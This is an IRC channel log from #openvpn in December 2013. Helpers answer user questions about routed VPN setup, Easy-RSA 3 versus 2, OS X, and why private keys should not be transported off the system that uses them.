03:49 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
03:59 -!- Varazir_ is now known as Varazir
04:05 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
04:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:23 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
04:33 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
04:35 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
04:38 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:39 -!- james41382_ is now known as james41382
04:44 -!- Eagleman7 is now known as Eagleman
04:45 -!- js_ [~js@js.madepeople.se] has quit [Ping timeout: 252 seconds]
04:46 -!- js_ [~js@js.madepeople.se] has joined #openvpn
05:04 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 260 seconds]
05:27 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
05:34 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
05:49 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:00 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 260 seconds]
06:02 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
06:06 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
06:08 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
06:38 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 245 seconds]
06:44 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
07:16 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 245 seconds]
07:23 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
07:25 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 265 seconds]
07:33 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
08:02 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:02 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:06 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
08:08 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:26 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
08:28 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
08:28 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
08:29 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
08:29 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:40 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
08:43 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Client Quit]
08:50 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
08:53 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Client Quit]
08:57 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
08:57 -!- Ocelot^ [~test@cpc4-enfi19-2-0-cust60.20-2.cable.virginm.net] has joined #openvpn
09:05 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
09:25 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
09:41 -!- master_of_master [~master_of@p4FD7BB8C.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- master_o1_master [~master_of@p4FD7BBA7.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
09:58 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:13 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has joined #openvpn
10:37 -!- ThriLL [~ThriLL@2001:1af8:4020:a017:1::2] has joined #openvpn
10:39 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has quit [Quit: Konversation terminated!]
10:51 < ThriLL> Hey all
10:58 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
10:58 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
11:07 -!- steven887 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
11:14 < steven887> I have a laptop with built-in HSDPA modem which connects to cellular provider network, creates a PPP interface and receives a RFC1918 IP address for this interface. This means that traffic from and to the laptop is NAT'ed. I would like to have remote access over SSH to this laptop.
11:14 < steven887> This means that I need to configure the laptop in a way that it automatically creates a VPN tunnel to my home PC(it has static IP address and all the ports are open). Can I use OpenVPN in bridge mode here? So that the laptop appears as part of my home LAN?
11:14 < pekster> Don't bridge; route
11:15 < pekster> Have the laptop connect as a client to a listening openvpn server on your static IP system and then reach the laptop via the VPN IP it will be assigned
11:16 < pekster> You can set up DNS and stuff later if you want, but focus on getting the VPN working before you add extra items like that
11:17 < pekster> If you want the LAN behind the server to reach VPN clients, start with the !howto for a basic server/client setup, then read about server-side LAN routing with: !serverlan
11:18 < steven887> pekster, ok, thanks! I'll set the OpenVPN server in routed mode.
11:25 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
11:38 -!- u0m3 [~u0m3@109.96.176.228] has joined #openvpn
11:41 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
11:51 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Ping timeout: 248 seconds]
11:54 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:04 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
12:06 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:26 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
12:54 -!- qwertyoruiop is now known as qw
12:55 -!- qw is now known as qwertyoruiop
13:27 -!- geeko [~geeko@1.23.229.124] has joined #openvpn
13:32 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
13:32 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
13:32 -!- Denial- [Denial@94.8.139.3] has joined #openvpn
13:33 -!- Denial [Denial@97e0995b.skybroadband.com] has quit [Ping timeout: 252 seconds]
13:33 -!- Denial- is now known as Denial
13:34 -!- Chaot_s [~chaot_s@d54C40070.access.telenet.be] has joined #openvpn
13:37 -!- geeko [~geeko@1.23.229.124] has quit [Quit: Konversation terminated!]
13:41 -!- Chaot_s [~chaot_s@d54C40070.access.telenet.be] has quit [Ping timeout: 248 seconds]
13:43 -!- Chaot_s [~chaot_s@d54C40070.access.telenet.be] has joined #openvpn
13:57 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
14:19 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
14:21 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:42 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
15:42 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
15:44 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
15:48 -!- pdobrogost [~quassel@77-255-52-206.adsl.inetia.pl] has joined #openvpn
15:56 -!- ade_b [~Ade@dslb-178-000-105-108.pools.arcor-ip.net] has joined #openvpn
15:56 -!- ade_b [~Ade@dslb-178-000-105-108.pools.arcor-ip.net] has quit [Changing host]
15:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:03 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
16:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:09 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.2]
16:14 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
16:16 -!- u0m3 [~u0m3@109.96.176.228] has quit [Read error: Connection reset by peer]
16:20 -!- u0m3 [~u0m3@92.80.83.133] has joined #openvpn
16:22 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
16:48 -!- steven887 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Quit: Leaving]
16:49 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
16:52 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
16:57 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
17:01 -!- Ocelot^ [~test@cpc4-enfi19-2-0-cust60.20-2.cable.virginm.net] has quit [Ping timeout: 246 seconds]
17:04 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
17:10 < wallbroken> is there some difference between easy-rsa/ and easy-rsa/2.0 ?
17:13 < pekster> wallbroken: In what context? All the release-ready downloads are either version 2.x or the new 3.x release-candidate
17:13 < pekster> Basic links and refs for you here: https://community.openvpn.net/openvpn/wiki/EasyRSA
17:13 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
17:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 252 seconds]
17:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
17:47 -!- Chaot_s [~chaot_s@d54C40070.access.telenet.be] has quit [Ping timeout: 248 seconds]
17:47 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Excess Flood]
17:48 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
17:58 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:29 -!- pdobrogost [~quassel@77-255-52-206.adsl.inetia.pl] has quit [Remote host closed the connection]
18:31 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
18:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
18:43 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
18:47 -!- qwertyoruiop [~hax@89.248.169.6] has joined #openvpn
19:30 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
19:35 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
19:38 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
19:38 -!- xrosnight [~quassel@120.236.123.133] has quit [Changing host]
19:38 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
19:40 -!- xrosnight is now known as xrosFocus
20:00 -!- timxzl [~timxzl@mobile-130-126-255-64.near.illinois.edu] has joined #openvpn
20:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:06 -!- klein [~klein@177.101.103.97] has joined #openvpn
21:06 -!- klein [~klein@177.101.103.97] has quit [Changing host]
21:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
21:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:21 -!- xrosFocus is now known as xrosnight
21:21 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
21:22 < wallbroken> pekster, i have installed openvpn for windows but it install 2.0 easy-rsa and not 3.0, why?
21:23 <@ecrist> wallbroken: there hasn't been an openvpn release since 3.0 was published, and 3.0 isn't "released" yet
21:24 < wallbroken> ok, so, the next release of openvpn will be inglobe 3.0 version of easy-rsa ?
21:24 <@ecrist> maybe
21:24 < wallbroken> why?
21:24 < wallbroken> it's already under test?
21:24 <@ecrist> if we actually release easy-rsa 3.0
21:24 <@ecrist> it's a beta at this point, not a full release
21:25 < wallbroken> ok, i'm reading something about it but looks like very different from 2.0
21:25 <@ecrist> it's a complete rewrite.
21:25 < wallbroken> 2.0 was not very good?
21:25 <@ecrist> and a major version bump
21:25 <@ecrist> 2.0 sucks balls
21:25 <@ecrist> which is why we rewrote it
21:26 < wallbroken> ahahahah I just finished writing an howto in my own language on my blog about 2.0
21:26 < wallbroken> unusefull work :\
21:26 < pekster> Especially for Windows; windows was a 2nd rate support anyway; as of openvpn 2.3.x, the official non-Windows release doesn't even include easy-rsa anyway
21:28 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
21:28 < Romance> pekster: is it safe to use openvpn 3?
21:29 < pekster> The only known issue so far is some issue with 0.9.8 openssl (that's been reported) so my answer is "yes"
21:29 < pekster> I've been using it for several real-world (and many of my own internal/test) PKI deployments without issue
21:30 < Romance> pekster: but it can be changed to use polarssl?
21:30 < pekster> No, polarssl does _not_ support PKI CLI use. In fact, PolarSSL docs say to use OpenSSL ;)
21:30 < pekster> So, in a way, we "do follow PolarSSL's PKI recommendations" heh
21:31 <@ecrist> lol
21:31 < pekster> PolarSSL is a C library. If you want a C X.509 implementation, that's not what easy-rsa is (or has ever) been designed to do, and you want a C programming channel instead
21:32 < Romance> dammit, i really need a "modified/customized" openvpn that differs from most people
21:33 < pekster> So compile it yourself with your own "super-l33t configure flags" and tell all your friends? :\
21:33 < wallbroken> openvpn 2.0 howto is very simple and clear, I do not know if it's the same about 3.0
21:33 < pekster> https://community.openvpn.net/openvpn/wiki/EasyRSA
21:33 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
21:33 < pekster> The v3 howto is a wiki; feel free to offer improvements if you'd like
21:34 <@ecrist> Romance: WHY?????
21:34 < Romance> because i want to feel special
21:34 < pekster> ##special is that way --->
21:34 < Romance> :D
21:35 -!- Romance was kicked from #openvpn by ecrist [special now, bitch? :P]
21:35 -!- Romance [~pink@unaffiliated/yusuke] has joined #openvpn
21:35 < Romance> lulz, merry christmas
21:35 < rob0> Ah, now that the Romance is back, we can all feel special!
21:35  * pekster raises Bailey's glass to that
21:35 <@ecrist> if you want, i can make you so special you're part of an elite club...
21:35 < wallbroken> configuring openvpn on osx is the same of linux?
21:36 < wallbroken> i never used osx, and i'm going to do it
21:36 <@ecrist> currently less than 30 members!
21:36 < pekster> wallbroken: Generally, depends on your buildsystem. Grab xcode and start hacking
21:36 <@ecrist> yeah, pretty much the same, wallbroken 
21:36 < rob0> Yes and no. Openvpn is openvpn, but OSX != Linux.
21:36 <@ecrist> OSX ~ FreeBSD
21:37 < wallbroken> I know that osx uses bash
21:37 < pekster> OS X ~= BSD, which is  Unix-alike
21:37 <@ecrist> BSD is unix
21:37 < pekster> And that's all > Windows, so you're in good hands
21:37 <@ecrist> and so is OS X
21:37 <@ecrist> like, honest to god UNIX
21:37 < pekster> Well, OS X has a BSD core, but it's all Apple-affied
21:37 <@ecrist> OS X is UNIX
21:37 <@ecrist> they even paid for the certification
21:37 < pekster> Coca != Unix :P
21:38 <@ecrist> the core is UNIX
21:38 < pekster> Neither is their NDA ;)
21:38 < rob0> Linux-specific things that you will see in a lot of "openvpn" "documentation", such as references to iptables, won't apply in OSX.
21:38 <@ecrist> it's all posix and everyting under the hood
21:39 < Romance> dirty and quick solution, turn off firewall
21:39 < pekster> The core, yes. The apple UI, no
21:39 < pekster> Darwin is a subset of OS X as a whole
21:39 < wallbroken> UNIQUE_NAME_HERE = common name of cert, right?
21:40 <@ecrist> I'm not talking about Darwin. i'm talking OS X
21:40 < pekster> The good news is that Tunnelblick gives you magic either way, and xcode lets you build openvpn in more or less the expect way, so hack on
21:40 < pekster> wallbroken: Yup
21:42 < pekster> pretty sure https://developer.apple.com/technologies/mac/cocoa.html isn't BSD unless I missed some big announcement
21:42 <@vpnHelper> Title: Cocoa - OS X Technology Overview - Apple Developer (at developer.apple.com)
21:44 <@ecrist> your window is too narrow, pekster. The kernel for OS X is based on Mach, whith a FreeBSD userland.  The two are sufficiently compatible with the folks that owned the "UNIX" trademark, that OS X is honest-to-god "UNIX".  FreeBSD has posession of the original BSD UNIX  patent and trademark, and is, thus, also UNIX
21:44 <@ecrist> cocoa is no different than KDE, or any other window manager
21:45 < wallbroken> openvpn windows Icon is very scandalous
21:45 < pekster> heh, yes :P
21:45 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 272 seconds]
21:45 < pekster> So is the copyright, but we don't yet get angry enough to fork=
21:46 <@ecrist> what?
21:46 < wallbroken> https://dl.dropboxusercontent.com/u/23394250/im.PNG
21:46 < pekster> sales@openvpn.net ? :P
21:46  * ecrist ^a-D before grr
21:46 < pekster> Oh, that icon, heh. I ghought you meant the logo akin to what corp is using (that the installer has)
21:46 -!- timxzl [~timxzl@mobile-130-126-255-64.near.illinois.edu] has quit [Quit: timxzl]
21:56 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
22:01 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
22:20 < wallbroken> with 3.0 can I prepare all the keys on the same computer and then distribuite them as in 2.0 ?
22:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:22 < pekster> wallbroken: Sure, gen-req puts them in the same PKI dir, although then you have the nasty task of copying private key material that you really ought to avoid
22:23 < pekster> Same procedure, just avoid the `import-req` steps (things are already "imported" into a PKI you generated themon)
22:24 < pekster> But, why would you reduce security like that? Can't unzip/untar easy-rsa 3 zip/tarballs on your other boxes?
22:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:26 < pekster> The only reason that ever made sense in easy-rsa v2 was because your "counry, state, & organization" had to match exactly. v3 did away with that nonsense
22:28 < wallbroken> http://pekster.sdf.org/code/projects/easyrsa3.html
22:28 <@vpnHelper> Title: Project: Easy-RSA 3 (next-gen Easy-RSA codebase) (at pekster.sdf.org)
22:28 < wallbroken> i'm reading on that
22:28 < pekster> That's an old reference; use the wiki link I gave you earlier
22:28 < pekster> https://community.openvpn.net/openvpn/wiki/EasyRSA
22:28 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
22:29 -!- m01 [~quassel@gateway/shell/freebnc/x-qxjtjytsxgoeieko] has quit [Ping timeout: 252 seconds]
22:29 < pekster> As an added bonus, after I pour my next beverage, I'll update that page to point to the wiki ;)
22:30 < wallbroken> yeah alredy used also that link, but from that, I get difficoult to understand what does it means with "using a separate CA system"
22:30 < pekster> Put your CA somewhere else ;)
22:30 < pekster> Where that is depends in entierly on your security needs
22:31 < pekster> Could be a different directory on your server (not all that secure) a seperate PC (a bit more secure), a dedicated "secure online host" (decently secure), an offline PC (quite secure) or offline media locked in a safe with access auditing (highly secure)
22:31 < pekster> Define your own security needs :P
22:32 < pekster> Tune to paranoia level
22:33 < pekster> For all it matters just generate your keys out of a single PKI and email them across the internet. It's what v2 users did anyway..
22:34 < wallbroken> ok, the part "sign as a server or as a client" is optional, right?
22:35 < pekster> I'd tell you but the wiki host appears down
22:35 < pekster> You need to sign as either a server or client
22:36 < wallbroken> ok
22:36 < pekster> 5.A is optional. 5.B/C is not
22:36 < wallbroken> yeah now i know
22:36 < pekster> "Optionally review the request details, then sign it as one of the following types"
22:36 < wallbroken> yes, I red it better :)
22:37 < pekster> Again, if you think it's unclear, please feel free to edit the page; it's a wiki :D
22:37 < pekster> FOSS doesn't get better unless people improve it
22:37 < wallbroken> I'd like to tell more things about variables configuration
22:37 < pekster> vars.example has lots of comments ;)
22:38 < pekster> If you're familiar with PKI concepts and want an advanced quick-ref, see the doc/EasyRSA-Advanced.md for a list of env-vars
22:39 < pekster> I put a bit of effort into the docs/ directory, but I'm very happy to accept patches and attribute contributions to authors
22:40 < wallbroken> prabably for newbies, 2.0 is a little better because lets him understand what it is doing
22:40 < wallbroken> *he
22:42 < pekster> Yes, in part. It's hard to keep the "howto" link in sync since that's not actually maintained by the open-source crew and is hosted from a corporate-centric CMS
22:42 < pekster> It's a todo item on our list
22:42 < pekster> It also has outdated notions of MITM protection by using the ill-adviced --ns-cert-type crap as well, so it's not just easy-rsa that lacks
22:43 < pekster> Netscape Navigator is dead: long live Netscape Navigator!
23:00 -!- m01 [~quassel@gateway/shell/freebnc/x-siaddvzfewpaaggz] has joined #openvpn
23:21 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
23:22 -!- EugeneKay is now known as dongluvr69
23:24 < wallbroken> build-key-server on 2.0 automatically sign the key with CA ?
23:25 < pekster> with the right frontend script, yes. 3.x does that too, though it's not recommended
23:25 < pekster> with the 3.x code, run `./easyrsa help` or `./easyrsa help build-client-full` or `./easyrsa help build-server-full`
23:26 < pekster> Or see the EasyRSA-Readme.md in the doc/ directory
23:26 < wallbroken> why do you not reccomend building and signing at the same time?
23:27 < pekster> Becuase it means you're generating private keys on your CA, and that's really bad for security
23:27 < pekster> It means you have to transport private keys, and that's awful
23:27 < pekster> You loose non-repudation and risk exposure of the key over your transport medium
23:29 -!- dongluvr69 is now known as Eugene
23:30 < pekster> Every time you send a private key file over the network, the Internet kills a kitten
23:30 < Eugene> Meow
23:30 < pekster> Right on que
23:30 < pekster> (if I was an oper, that would have been a /kill ;)
23:30 < Eugene> que n'est ce pas un fromage!
23:30 < Eugene> Wait, fuck, that isn't right
23:30 < Eugene> ne c'est pas!
23:31 < pekster> cheese?
23:31 < pekster> :)
23:31 < Eugene> Yeah, that one.
23:31 < wallbroken> why should I send a private key over network?
23:31 < Eugene> It's why you should NOT.
23:32 < Eugene> Though I copy-paste a lot of private keys. From a WINDOWS machine!
23:32 < Eugene> through a ssh session running VIM! which uses TEMPFILES!
23:32 < pekster> wallbroken: Becuase you should generate private keys on the systems using them
23:32 < wallbroken> but you should send it with a PGP key encryption
23:32 < pekster> No, just generate them on the _TARGET_ system
23:32 < Eugene> Though if you can get a shell on my box or have broken SSH, I've already lost.
23:33 < pekster> What's so hard about that?
23:33 < Eugene> Anyway
23:33  * Eugene buggers off
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
23:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
23:36 < pekster> wallbroken: You have 3 locations: 1) your CA, 2) your server, 3) your client
23:36 < pekster> You can have as many servers and clients as you want (though just start with 1 initially)
23:36 < pekster> On each location you have a separate PKI, and you _never_ send private keys between them. Becuase you will kill kittens whever you do that
23:37 < wallbroken> ok
23:37 < wallbroken> what do I need to send to CA?
23:37 < pekster> Same way ssh keys work, except here you have a CA. It's like the master ring from Lord Of The Rings
23:37 < pekster> The reqest. step 3 of the howto
23:37 < pekster> "3.     Send the request files from each entity to the CA system. This is not security sensitive, though it is wise to verify the received file matches the sender's copy if the transport is untrusted."
23:38 < wallbroken> yeah I was thinking on that
23:38 < pekster> When you run `./easyrsa gen-req UNIQNE_NAME_HERE` you get specific output that tells you exactly where your request files is
23:38 < wallbroken> on 2.0 this step was not?
23:38 < pekster> copy and paste it to the CA system. Or email or. Or send it by postal mail...
23:38 < pekster> 2.0 did stupid shit like generate it all on one box because it had awful security practices
23:39 < pekster> 3.0 uses real security, not crappy security
23:39 < pekster> I haven't even written docs yet for crappy security because I think it's a horrible idea that results in the death of helpless youtube kittens
23:39 < pekster> Save grumpy cat!
23:40 < wallbroken> ok, and 3.0 is backward to 2.0 ?
23:41 < pekster> The generated certs are backwards-compat except for the nsCertType. read vars.example for details
23:41 < pekster> Please let the Netscape extensions die
23:41 < pekster> Netscape Navigator has been dead for nearly a decade
23:41 < pekster> Read !mitm if you want context
23:44 < wallbroken> i think it could be a way to make the transport of private key over the network secure. do u know www-authenticate header field of HTTP1.1 ? the server sends a "challenge" to the client, and the client will encrypt the data  with that and more other informations like time and date and so on...
23:45 < wallbroken> but I could be wrong :)
23:45 < pekster> http is shit. use https if you care
23:45 < pekster> And don't transport keys at all
23:45 < pekster> FFS
23:46 < pekster> if you think http is secure you need a serious reality check
23:46 < pekster> Regardless of what authentication you do, the _data_ transported over http is sent in plaintext
23:46 < pekster> (and you probably shouldn't be let anywhere near a VPN, but that's up to you if you're the VPN admin I suppose)
23:47 < pekster> ##security if you need security 101 review
23:47 < wallbroken> from what i remember, it uses Message Digest 5
23:47 < pekster> HTTP is FUCKING UNENCRYPTED
23:48 < pekster> If you POST over HTTP, you're clueless
23:48 < pekster> If you POST over insecurely (without _mutual_ authentication) over HTTPS, you're almost nearly as clueless
23:48 < pekster> tl;dr: don't send private key material over an untrusted transport
23:48 < pekster> If you don't know if your transport is secure, it's probably not
23:49 < pekster> ##security has details
23:49 < pekster> Sadly, #openvpn is not where you should be learning your security basics
23:50 < pekster> Try the 'Intro-To-PKI' document I wrote if youre unclear on the basics
23:50 < pekster> It in fact informs you that keypairs should not be used anywhere except on the entity they are intended for
23:51 < wallbroken> now i'm reading more about 3.0 easy rsa
23:52 < pekster> I wrote several rather extensive doc/ files, with a fair amount of background and basic knowledge. You have a howto that you can nearly copy/paste commands for
23:52 < pekster> And the howto is a wiki, so you can edit it if you review it and think it's unclear
23:52 < pekster> I'm also happy to edit the docs or accept patches if you think the source is unclear
23:53  * pekster isn't quite sure how it can be made easier to volunteer to help ;)
23:53 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
23:54 < pekster> Maybe I need an easyrsa3-openvpn-copy-and-paste-version wiki link? :(
23:58 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Mon Dec 16 2013
00:05 < pekster> wallbroken: Here, the stupidly broken way to do PKI: https://community.openvpn.net/openvpn/wiki/EasyRSA3-Insecure-PKI
00:05 <@vpnHelper> Title: EasyRSA3-Insecure-PKI – OpenVPN Community (at community.openvpn.net)
00:05 < pekster> enjoy
00:07 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 252 seconds]
00:09 < wallbroken> "
00:09 < wallbroken> Last modified 28 seconds ago"
00:09 < wallbroken> lol
00:09 < wallbroken> you wrote it right now?
00:10 < pekster> Yes
00:10 < pekster> Well, a couple updates
00:10 < pekster> I added some really big bold warnings for the utter stupidity this is
00:10 < pekster> I have no idea why you want to use a security product and then reduce the security as much as possible, but it's a "supported" method
00:11 < pekster> Especially transporting unencrypted keys, but by all means, do what you want
00:12 < wallbroken> I use it to extend the connectivity of my university at home
00:12 < pekster> I don't really care. Follow the guide that suits your security needs
00:13 < pekster> If you're happy sending *unencrypted* *private* keys over "http/1.1" then knock yourself out
00:14 < wallbroken> to do mitm, the hacker should get access to some middle node, right?
00:15 < wallbroken> is the only way to intercept a communication (encrypted or not)
00:15 < pekster> Which in the case of "http/1.1" in your earlier (brain-dead stupid) example is ANY ROUTER IN YOUR TRANSPORT PAATH
00:16 < pekster> Or, given the ease of ARP spoofing, any _system_ on any _network_ in the path of your data
00:16 < pekster> Or the NSA, or an evil employee at one of the networks that handles your packet
00:16 < pekster> Or lots of other really obvious examples of brain-dead security
00:16 < wallbroken> NSA got access to some router of my link?
00:17 < pekster> Probably, yes
00:17 < pekster> They spliced AT&T, why do you think they need Bluffdale
00:17 < wallbroken> also if data don't cross into US ?
00:18 < pekster> If you don't assume OSI L3 is insecure, you're nieve. #NotMyProblem
00:18 < pekster> Why do you want a VPN at all in that case? Run GRE and call it a day
00:18 < pekster> !gre
00:18 < pekster> :\
00:33 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
00:53 -!- mattock_afk is now known as mattock
00:59 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Read error: Operation timed out]
01:08 -!- mattock is now known as mattock_afk
01:21 -!- mattock_afk is now known as mattock
01:21 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:27 -!- ade_b [~Ade@dslb-178-000-105-108.pools.arcor-ip.net] has joined #openvpn
01:27 -!- ade_b [~Ade@dslb-178-000-105-108.pools.arcor-ip.net] has quit [Changing host]
01:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:30 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
01:30 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
01:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:54 -!- andi_ is now known as andi
01:54 -!- andi [~andi@shell.sixhop.net] has quit [Changing host]
01:54 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
02:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:18 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
02:20 < thecaptain2000> hi, how do I specify in a client .ovpn that the cleint app is supposed to ask for username and password?
02:31 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
